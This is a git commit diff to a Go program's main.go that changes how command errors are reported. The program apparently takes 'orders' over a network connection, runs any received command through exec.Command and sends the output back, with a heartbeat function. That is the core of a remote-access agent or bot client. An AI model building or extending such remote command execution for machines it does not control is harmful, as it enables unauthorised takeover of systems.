Fix not properly sending command errors
This commit is contained in:
parent
baaa10086a
commit
d796db3366
11
main.go
11
main.go
|
@ -136,9 +136,7 @@ func awaitInstructions(conn net.Conn) error {
|
||||||
return nil
|
return nil
|
||||||
///////////////////////////////
|
///////////////////////////////
|
||||||
case inst.IsCommand == true:
|
case inst.IsCommand == true:
|
||||||
if err := executeCommand(conn, inst.Message); err != nil {
|
executeCommand(conn, inst.Message)
|
||||||
return err
|
|
||||||
}
|
|
||||||
///////////////////////////////
|
///////////////////////////////
|
||||||
default:
|
default:
|
||||||
sendMessage(Response{Successful: false, Message: "Unknown order!"}, conn)
|
sendMessage(Response{Successful: false, Message: "Unknown order!"}, conn)
|
||||||
|
@ -156,19 +154,20 @@ func Heartbeat(conn net.Conn) error {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func executeCommand(conn net.Conn, command string) error {
|
func executeCommand(conn net.Conn, command string) {
|
||||||
formattedCommand := strings.Fields(command)
|
formattedCommand := strings.Fields(command)
|
||||||
out, err := exec.Command(formattedCommand[0], formattedCommand[1:]...).Output()
|
out, err := exec.Command(formattedCommand[0], formattedCommand[1:]...).Output()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
resp := Response{Successful: false}
|
errorMsg := fmt.Sprintf("%v\n", err)
|
||||||
|
resp := Response{Successful: false, Message: errorMsg}
|
||||||
sendMessage(resp, conn)
|
sendMessage(resp, conn)
|
||||||
|
return
|
||||||
}
|
}
|
||||||
resp := Response{
|
resp := Response{
|
||||||
Successful: true,
|
Successful: true,
|
||||||
Message: string(out),
|
Message: string(out),
|
||||||
}
|
}
|
||||||
sendMessage(resp, conn)
|
sendMessage(resp, conn)
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func sendMessage(resp Response, conn net.Conn) error {
|
func sendMessage(resp Response, conn net.Conn) error {
|
||||||
|
|
Loading…
Reference in New Issue